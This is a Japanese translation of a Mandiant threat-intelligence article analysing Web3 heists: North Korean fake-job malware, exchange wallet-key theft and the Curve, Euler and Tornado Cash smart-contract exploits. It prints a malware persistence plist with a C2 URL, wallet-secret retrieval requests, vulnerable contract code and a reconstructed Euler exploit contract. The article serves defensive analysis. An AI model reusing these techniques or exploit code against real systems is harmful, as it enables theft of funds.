コンテンツに移動
脅威インテリジェンス

Web3 の DeFi における窃盗事例の検証

2024年10月3日
Mandiant

執筆者: Robert Wallace, Blas Kojusner, Joseph Dobson


※この投稿は米国時間 2024 年 9 月 4 日に、Google Cloud blog に投稿されたものの抄訳です。

お金があるところには犯罪者が集まってきます。Web3 の急成長により、脅威アクターがつけ込む余地が新たに生まれており、特に分散型金融(DeFi)の分野では、従来の金融セクターとは比較にならない規模や件数の窃盗が発生しています。Mandiant は長年にわたりサイバー銀行強盗を調査してきました。2016 年には、北朝鮮の APT38 がバングラデッシュ銀行から 8,100 万ドルを奪った世界最大の銀行強盗を調査しています。このグループの手口はかなり斬新で、BBC による 10 エピソードのポッドキャスト シリーズにもなりましたが、Web3 時代の窃盗事例と比べると見劣りします。2022 年に発生した DeFi における最大の窃盗事件は、Sky Mavis Ronin ブロックチェーンに対するもので、6 億ドル以上が北朝鮮の脅威アクターの手に渡りました。北朝鮮が世界最大のサイバー犯罪組織であることはほぼ間違いありませんが、活動している組織は他にもあります。2020 年以降、Web3 での窃盗事例は数百件の報告があり、盗まれたデジタル アセットは 120 億ドル相当を上回っています。

https://storage.googleapis.com/gweb-cloudblog-publish/images/web3-heists-fig0.max-1100x1100.png

出典: Chainalysis 2024 Crypto Crime Report

ソーシャル エンジニアリング暗号通貨ドレイナーラグプル(詐欺)、その他の不正行為が蔓延する中、最も影響が大きい Web3 インシデントとしては、組織(暗号通貨取引所など)から暗号通貨ウォレットの鍵を盗むものや、スマート コントラクトの不正利用が一般的で、他にはユーザー資産を流用するウェブ フロントエンド攻撃が発生することもあります。

暗号通貨取引所に対する窃盗事例

暗号通貨取引所は、巧妙なサイバー犯罪者にとって価値の高い標的です。最も古く、おそらく最もよく知られている取引所の盗難被害として、2014 2 月にマウントゴックスが 3 5,000 万ドル相当のビットコイン(BTC)を失った事例があります。それ以来、取引所には数多くの攻撃が行われています。最近では、2024 5 月に日本にある取引所 DMM Bitcoin 3 億ドルを盗まれています

一般に、暗号通貨取引所を標的とする窃盗には標的型攻撃ライフサイクルにマッピングされる一連のイベントが関わります。Mandiant の最近の調査では、偽の人材募集を通じたデベロッパーのソーシャル エンジニアリングが特定されました。初期感染ベクトルとしては、共通してコーディング テストが使われていました。次のスクリーンショット(図 1)は最近の調査で確認されたもので、エンジニアが LinkedIn で北朝鮮の脅威アクターから偽の求人情報について連絡を受けています。チャットでの最初の会話の後、攻撃者は Python コーディング チャレンジと偽り、COVERTCATCH マルウェアが含まれる ZIP ファイルを送信しました。このファイルが第 2 段階のマルウェアをダウンロードし、それが Launch Agent Launch Daemon を通じて永続化され、ユーザーの macOS システムを侵害しました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/web3-heists-fig1a.max-1100x1100.png

図 1: 偽の求人情報

北朝鮮のソーシャル エンジニアリングでは財務分野の人材も標的になっています。最近では、有名な暗号通貨取引所の「財務・事業部門担当 VP」の職務説明書を装った不正な PDF を送信する、人材募集を騙った同様の事案が確認されています。この不正な PDF RUSTBUCKET として知られる第 2 段階のマルウェアを送り込みました。これは Rust で記述されたバックドアで、ファイルの実行をサポートするものです。このバックドアは、基本的なシステム情報を収集し、コマンドラインで指定された URL と通信して、このインスタンスでコマンド&コントロール(C2 または C&C)ドメイン autoserverupdate[.]line[.]pm により「Safari Update」を装った Launch Agent を使用することで永続化されました。

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.apple.safariupdate</string>
        <key>RunAtLoad</key>
        <true/>
        <key>LaunchOnlyOnce</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
        <string>/Users/REDACTED/Library/Application Support/Safari Update</string>

<string>https://autoserverupdate.line[.]pm/qp5FV6ilCJf
/Q5wWzIY5%2BSEE07MzxS/TMbSBM7BiR/DIUDMurOYs/xoG5A%3D%3D
</string>
        </array>
    </dict>
    </plist>

2: RUSTBUCKET マルウェアの永続化に使われた Launch Agent PLIST ファイル

北朝鮮の脅威アクターが Web3 組織を狙うときに利用するのはソーシャル エンジニアリングだけではなく、最初の足がかりとしてサプライ チェーンを攻撃することも確認されています。たとえば 2023 年の JumpCloud 3CX への攻撃では、暗号通貨サービスを提供するダウンストリームの顧客が標的になりました。マルウェアで足がかりを得た攻撃者は、パスワード マネージャーから認証情報を盗み出し、コード リポジトリやドキュメントを通じて内部偵察を行います。その後、クラウド ホスティング環境にアクセスしてホット ウォレットの鍵を探り出し、最終的に資金を流出させます。

以下に示すスニペットは、ある窃盗事例の調査時に AWS CloudTrail のログで確認された、復号された AWS EC2 SSM パラメータの例です。復号された SSM パラメータには、取引所で実際に使われている暗号通貨ウォレットの秘密鍵、ユーザー名、パスワードが含まれていました。約 1 時間後にウォレットから資金が流出し、1 億ドルを超える損害が生じました。

{"name":"/prod/wallets/wallets-password","withDecryption":true}
{"name":"/prod/wallets/signing-svc/db/user","withDecryption":true}
{"name":"/prod/wallets/signing-svc/db/password","withDecryption":true}
{"name":"/prod/wallets/eth/db/password","withDecryption":true}
{"name":"/prod/wallets/btc/db/password","withDecryption":true}

3: 暗号通貨ウォレットに関連する AWS SSM Parameter Store のリクエストの例

損害が突然発生するため、窃盗は短時間で行われているように思えますが、暗号通貨取引所への攻撃で滞留時間 12 か月に及ぶ事例も確認されており、脅威の検出を向上させることで盗難を防止できる可能性が大きいことがわかります。実際に、攻撃ライフサイクルの初期段階で攻撃を検知できた取引所は、盗難の阻止に成功しています。暗号通貨取引所の窃盗事例について詳しくは、9 18 日~19 日に米デンバーで開催される mWISE カンファレンスのプレゼンテーション From Job Interview to Crypto Heist をご覧ください。

スマート コントラクトの不正利用

スマート コントラクトは、ブロックチェーン上で実行されるコードで、通常はオープンソース、分散型、変更不可、権限不要です。コードは透過的で公に検証可能である場合が多いため、スマート コントラクトがデジタル アセットを受け取るときに従うロジックを、すべての利害関係者が正確に把握できます。スマート コントラクトの不正利用では通常、対象となるアセットを盗み出すためにコードのロジックの欠陥を探します。認証情報の搾取、マルウェア、C2 インフラストラクチャは必要ありません。

スマート コントラクトは、ブロックチェーン ネットワーク内でコンピューティングのリクエストを希望したときに呼び出されます。スマート コントラクト技術を採用している有名なネットワークには、EthereumTronSolana があります。スマート コントラクトは、マーケットプレイス、金融システム、ゲームなど、その複雑さのレベルは問わず、ユーザー向けアプリやサービスのサポートに使用できます。デベロッパーであれば誰でもスマート コントラクトを作成し、ネットワークに料金を支払うことでデプロイできます。ユーザーは誰でもネットワークに料金を支払うことで、このスマート コントラクトを呼び出してコードを実行できます。

スマート コントラクトに使われるプログラミング言語は通常、デプロイ先のネットワークによって異なります。Ethereum ネットワークでスマート コントラクトの開発に最も一般的に使われているプログラミング言語は Solidity です。その他のネットワークはシステムが異なり、たとえば Algorand には PythonSolana には Rust など、その他のプログラミング言語が必要となる場合があります。スマート コントラクトをデプロイする準備ができたら、バイトコードにコンパイルします。バイトコードは分散され、透過的であるため、コントラクトのコンパイルに使われた高レベルのコードが利用可能でなくてもバイトコードは公に利用可能であり、逆コンパイルすることでコントラクト内に存在する関数を確認できます。

スマート コントラクトは金銭を扱うという特性により標的になることが多いため、開発するにはプログラミング言語の十分な理解が不可欠です。スマート コントラクトに関する適切な手法は、計算のために安全なライブラリを実装するなど従来のセキュア プログラミング手法と重なる部分もありますが、スマート コントラクトには特有の動作があるため、独自の課題が生じます。

リエントランシー攻撃

スマート コントラクトは外部呼び出しを実行することでネットワーク内の他のスマート コントラクトとの相互作用が可能です。ただし、外部呼び出しは信頼できないものとして扱う必要があります。外部コントラクトが問題ないとわかっている場合でも、その動作が常に保証されるわけではないからです。外部コントラクト自体が独自の外部呼び出しを通じて不正なコードを意図せずに実行する可能性もあります。このため、スマート コントラクトのデベロッパーは、外部呼び出しの実行後に重要な処理を行わないようにする必要があります。

スマート コントラクト不正利用の事例として最初で、おそらく最も広く知られているのは、2016 6 月の DAO のハッキングです。5,500 万ドル相当の EtherETH)の損害が発生しました。この事例については書籍にもなっていますが、犯人はまだわかっていません。このハッキングで攻撃者は、リエントランシー攻撃として知られる手口により、内部状態を更新する前に ETH を送金するメカニズムを悪用し、一連の再帰呼び出しを作成して資金を流出させました。この手口はその後スマート コントラクトに対する一般的な攻撃ベクトルになっており、合計数億ドル相当のデジタル アセットの盗難につながっています。

Curve Finance のハッキング

現在も使用されているリエントランシー攻撃の最近の成功例として、利用者が非常に多く、影響力のある分散型取引所 Curve Finance があります。2023 7 月に 7,000 万ドルが盗まれましたが、これは Vyper の脆弱性が原因で旧バージョン(0.2.150.2.160.3.0)へのリエントランシー攻撃が可能だったためでした。

リエントランシーの脆弱性は一般に、外部呼び出しの後、状態の変更が行われるときにトリガーされます。よく標的になるのは、ユーザーがプールに資金を預け入れ、後で引き出せるコントラクトです。引き出しの関数は通常、送金の開始前に十分な残高があるかどうかをチェックします。こうしたチェックがあったとしても、不正なコントラクトがスマート コントラクトを不正利用し、最初の送金が完了する前に複数の引き出しを呼び出すことができます。コントラクトの状態がまだ更新されていないため、この方法で残高チェックをすり抜けることができ、不正な引き出しが発生します。この送金プロセスはプールから引き出せる資金がなくなるまで繰り返されます。この脆弱性のパターンが、Curve Finance の脆弱性利用事例の標的になった Vyper コードに存在します。

@nonreentrant('lock')
def remove_liquidity(
    _burn_amount: uint256,
    _min_amounts: uint256[N_COINS],
    _receiver: address = msg.sender
) -> uint256[N_COINS]:
    """
    @notice Withdraw coins from the pool
    @dev Withdrawal amounts are based on current deposit ratios
    @param _burn_amount Quantity of LP tokens to burn in the withdrawal
    @param _min_amounts Minimum amounts of underlying coins to receive
    @param _receiver Address that receives the withdrawn coins
    @return List of amounts of coins that were withdrawn
    """
    total_supply: uint256 = self.totalSupply
    amounts: uint256[N_COINS] = empty(uint256[N_COINS])

    for i in range(N_COINS):
        old_balance: uint256 = self.balances[i]
        value: uint256 = old_balance * _burn_amount / total_supply
        assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected"
        self.balances[i] = old_balance - value
        amounts[i] = value

        if i == 0:
            raw_call(_receiver, b"", value=value)
        else:
            response: Bytes[32] = raw_call(
                 self.coins[1],
                 concat(
                    method_id("transfer(address,uint256)"),
                    convert(_receiver, bytes32),
                    convert(value, bytes32),
                ),
                max_outsize=32,
            )
            if len(response) > 0:
                assert convert(response, bool)

    total_supply -= _burn_amount
    self.balanceOf[msg.sender] -= _burn_amount
    self.totalSupply = total_supply
    log Transfer(msg.sender, ZERO_ADDRESS, _burn_amount)

    log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply)

    return amounts

4: Curve Finance の脆弱な remove_liquidity 関数

remove_liquidity スマート コントラクトは msg.sender のプールにある流動資産を更新するために、self.balanceOf[msg.sender] -= _burn_amount でバーン料金を差し引きます。その後、アカウントに関連付けられた金額について、msg.sender に対して Transfer() を呼び出します。

問題は self.coins[1] への外部呼び出しにあります。ここで @nonreentrant 修飾子は、外部呼び出しの前に同じトランザクション内で関数へのリエントリーを防いでいません。このため、攻撃者は self.coins[1] への外部呼び出しを操作し、状態変数の更新が完了する前に元の remove_liquidity 関数への raw_call を再帰的に行うことが可能です。@nonreentrant 修飾子の欠陥が原因で、スマート コントラクトのレイアウトがコントラクトからの資金流出につながりました。

フラッシュ ローン攻撃

スマート コントラクトでよく見られるもう一つの攻撃ベクトルは、「フラッシュ ローン攻撃」です。フラッシュ ローンは、同じトランザクション内で返済する必要がある無担保借り入れです。フラッシュ ローンには合法的な用途もありますが(裁定取引など)、ハッカーが悪用する場合は、供給が少ないトークンを大量に購入または空売りすることで DeFi の価格オラクルを操作します。

Euler Finance のハッキング

2023 3 月に、DeFi レンディング プロトコルの Euler Finance フラッシュ ローン攻撃を受け、約 2 億ドルの資金の盗難に遭いました。攻撃者は最初に、暗号通貨の発行元と所有者を難読化するミキサー Tornado Cash を使用して窃盗に必要な資金を獲得しました。そして、DeFi プロトコル Aave から 3,000 万ドルを借り入れるフラッシュ ローンを開始しました。その後、借り入れた DAI ステーブルコイン 2,000 万ドル分を Euler に預け入れ、その対価として eDAI トークンを受け取りました。そして、これらの eDAI トークンをレバレッジとして、その 10 倍の価値を借り入れました。攻撃者は残された 1,000 万ドル分の DAI を使って借入金の一部を返済してから、Euler のシステムの欠陥を利用して、フラッシュ ローンが最終的に終了するまで、同じミント関数を使用して追加資金を繰り返し借り入れました。

ブロックチェーン セキュリティ会社 PeckShield は、Euler Finance donateToReserves 関数に脆弱性があると特定しました。コントラクトでは、ユーザーが取引中のトークンの reserveBalance に残高を寄付できるようになっています。寄付を開始するアカウントに対してヘルスチェックは行われません。また、donateToReserves を使用した寄付では、ユーザーの負債(DToken)に影響を与えずにエクイティ(EToken)の残高も減らすことが可能であるため、不均衡が発生し、それが清算につながる可能性があります。清算中はパーセント ベースの割引が担保に適用されることが、清算者が負債を引き受けるためのインセンティブとなります。攻撃者はポジションの過度なレバレッジを意図的に行い、自己清算のトリガー前に大幅な割引を発生させました。この大幅割引により、攻撃者は担保を安価で取得すると同時に、残りのアセットを負債に充てました。結果的に Euler Finance には後ろ盾のない多額の不良債権が残され、攻撃者には大きな利益が得られる、超過担保のポジションが残されました。

Euler Finance のハッキングに使われた violator コントラクトの再現が、窃盗のステップをイメージするのに役立ちます。このコントラクトでは、借り入れ能力を高めるため、最初のトークン残高の 3 分の 2 を担保としてプロトコルに預け入れています。その後、預けた担保に対して多額の eToken を借り入れ、最初の残高の 3 分の 1 を返済しています。続いて、元の金額の eToken を再び借り入れ、donateToReserves を呼び出して、強制的にポジションの清算を行っています。

function violator(address exploit, uint256 initialBalance, uint256 mintAmount, uint256 donateAmount, uint256 maxWithdraw, IERC20 token, EToken eToken, DToken dToken) external returns (bool) {

        token.approve(EulerProtocol.euler, type(uint256).max);

        eToken.deposit(0, (2 * initialBalance / 3) * 10**token.decimals());
        eToken.mint(0, mintAmount * 10**token.decimals());
        dToken.repay(0, (initialBalance / 3) * 10**token.decimals());
        eToken.mint(0, mintAmount * 10**token.decimals());
        eToken.donateToReserves(0, donateAmount * 10**eToken.decimals());

        console.log("[*] Generated bad loan...");
        console.log("    Collateral: %d Debt: %d", eToken.balanceOf(address(this))/10**eToken.decimals(), dToken.balanceOf(address(this))/10**dToken.decimals());

        return liquidator.liquidate(exploit, initialBalance, mintAmount, donateAmount, maxWithdraw, address(this), token, eToken, dToken);
}

5: Euler Finance のハッキングに使われた Violator コントラクトのスニペットの再現

負債は減っているか、ゼロに設定されているはずであるため、donateToReserves コントラクトには寄付者の負債が寄付額以上であることを確認するヘルスチェックがありませんでした。Euler Foundation 2023 4 4 日に、2 億ドル相当のアセットの盗難被害について声明文を発表し、交渉が成立したため、回収可能な資金は全額返金されたと報告しました。これは流出したデジタル アセットの回収額として過去最高となりますが、Euler のハッキングの被害者に保険金を支払った DeFi の保険会社 Nexus Mutual にとっては課題となりました。

ガバナンス攻撃

多くの分散型自律組織(DAO)は、代替可能で譲渡可能なネイティブ トークンを使った権限不要の投票をガバナンスに活用しています。ガバナンス システムは、どの提案に出資するか、プロトコルにどの変更を適用するかなど、プロジェクトに関する意思決定にトークン保有者が参加できるよう設計されています。ガバナンス攻撃では、DAO の権限不要のガバナンス投票システムを標的にし、攻撃者がプロジェクトの主導権を握ります。ガバナンス攻撃は、資金の流出、プロジェクトの中断、プロジェクトの失敗につながるため、Web3 プロジェクトにとって大きな損害となる可能性があります。

ガバナンス攻撃を実施する一般的な手法の一つは、攻撃者がプロジェクトのトークンを大量に獲得して多くの投票権を手にすることです。十分な投票権を手に入れた攻撃者は、プロジェクトの資金流出、プロトコルのルール変更など、自分たちの利益になる不正な提案を示し、採決することができます。

Tornado Cash へのガバナンス攻撃

2023 5 月に、暗号通貨ミキサーの Tornado Cash がガバナンス攻撃を通じて敵対的乗っ取りの被害に遭い、10,000 TORN トークン(7 万ドル相当)が流出しました。攻撃者は合法的に投票された 70 万票を上回る 120 万票を獲得して、Tornado Cash ガバナンスの完全な主導権を握りました。

この攻撃は、プロトコルに従わないリレイヤーに罰則を科すと主張する不正な提案のトランザクション(0x34605f1d6463a48b818157f7b26d040f8dd329273702a0618e9e74fe350e6e0d)から始まりました。スマート コントラクトは以前に可決された提案と同じロジックを使用すると表明していましたが、新たに提案されたスマート コントラクトには emergencyStop() という関数が追加されていました。5 日間の投票期間、実行までの 2 日間の猶予期間中に提案に潜む問題は特定されず、攻撃者はコミュニティ内のほとんどのメンバーに対して提案の説明をごまかし、提案に賛成票を投じるよう操作するソーシャル エンジニアリングに成功しました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/web3-heists-fig6b.max-700x700.png

図 6: Tornado Cash の不正な提案の説明

新しい emergencyStop() 関数を呼び出すと、selfdestruct メソッドがトリガーされます。このメソッドは、コントラクトを停止し、Ethereum のブロックチェーンからバイトコードを削除して、コントラクトの資金を指定のアドレスに送金するものです。このプロセスにより、攻撃者は提案コントラクトと作成元コントラクトを破棄し、提案コントラクトを新しい不正なコントラクトに更新して攻撃を実行できます。

function emergencyStop() public onlyOwner {
    selfdestruct(payable(0));
}

7: Tornado Cash のガバナンスの乗っ取りを開始する emergencyStop 関数の呼び出し

投票によって提案が通った後、攻撃者は emergencyStop() 関数を呼び出し、新たにミントされた票を自分たちが獲得できるよう元の提案のロジックを更新して、完全に DAO の主導権を握りました。この事例の場合、攻撃者は標的にしたコントラクトの所有権を手に入れるため、自分たちの制御下にあるコントラクトのロックされたトークンの残高を 10,000 に変更し、そのトークンを自分たちのアドレスに転送しました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/web3-heists-fig8.max-1500x1500.png

図 8: 攻撃者の制御下にあるコントラクトのロックされたトークンの残高を 10,000 に変更

まとめ

将来的な攻撃に対して防御し、デジタル アセットを守るためには、過去のセキュリティ侵害や進化する脅威を理解することが重要です。Google Cloud for Web3 などのプラットフォームがイノベーションを実現し、暗号通貨や Web3 の組織が拡大するにつれて、規模を問わず標的になることが増えています。通常は、盗難が実際に発生する前に、マルウェアや疑わしいログインなどセキュリティ侵害の形跡が見られます。組織は現在のセキュリティ ポスチャーを評価し、Google Security Operations など高度なセキュリティ ソリューションの活用を検討する必要があります。十分なロギング機能やアラート機能、包括的なインシデント対応調査によって、攻撃を検知し、盗難を防止することができます。

Mandiant、執筆者: Robert Wallace、Blas Kojusner、Joseph Dobson

投稿先